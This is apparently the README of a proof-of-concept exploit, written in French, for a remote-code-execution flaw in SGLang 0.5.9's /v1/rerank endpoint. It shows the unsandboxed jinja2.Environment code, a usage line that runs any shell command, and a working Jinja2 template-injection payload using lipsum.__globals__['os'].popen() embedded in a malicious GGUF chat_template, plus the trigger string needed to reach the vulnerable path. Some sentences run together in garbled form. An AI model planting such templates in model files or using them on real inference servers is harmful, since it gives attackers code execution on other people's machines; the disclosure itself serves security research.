
Preuve de concept d'exploitation de CVE-2026-5760 - RCE dans SGLang 0.5.9 via un GGUF malveillant
Exécution de code à distance via injection de templates côté serveur (SSTI) dans le point de terminaison de re-ranking de SGLang. Un fichier de modèle GGUF malveillant avec un tokenizer.chat_template contrefait permet d'exécuter du code arbitraire lorsqu'il est chargé dans SGLang et que le point de terminaison /v1/rerank est appelé.
En tirant parti d'une vulnérabilité de sévérité critique dans SGLang grâce au rendu non sandboxé de templates Jinja2. Le point de terminaison de re-ranking de SGLang (/v1/rerank) rend les templates de chat fournis par le modèle en utilisant jinja2.Environment() au lieu de ImmutableSandboxedEnvironment, permettant à un modèle malveillant d'exécuter du code Python arbitraire sur le serveur d'inférence.
Il s'agit de la même classe de vulnérabilité que CVE-2024-34359 (« Llama Drama ») qui affectait llama-cpp-python.
tokenizer.chat_template malveillant contenant une charge utile SSTI Jinja2serving_rerank.py/v1/rerank, SGLang lit le chat_template et le rend avec jinja2.Environment() — sans sandboxFichier : python/sglang/srt/entrypoints/openai/serving_rerank.py
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
return jinja2.Environment( # <-- Should be ImmutableSandboxedEnvironment
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)
Le PoC génère un fichier GGUF malveillant et démontre l'exécution de code via le chemin de rendu non sandboxé de SGLang.
python3 exploit.py "id"
Passez n'importe quelle commande shell en argument — par défaut id.
Le template de chat malveillant intégré dans le fichier GGUF :
MALICIOUS_TEMPLATE = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
The answer can only be "yes" or "no") est requise pour activer la détection du re-ranker Qwen3 de SGLang, routant la requête à travers le chemin vulnérable _render_jinja_chat_template().lipsum.__globals__["os"].popen() s'échappe du contexte Jinja2 pour exécuter des commandes OS arbitraires.Cet outil est destiné uniquement à la recherche en sécurité autorisée et à des fins éducatives. Utilisez-le de manière responsable.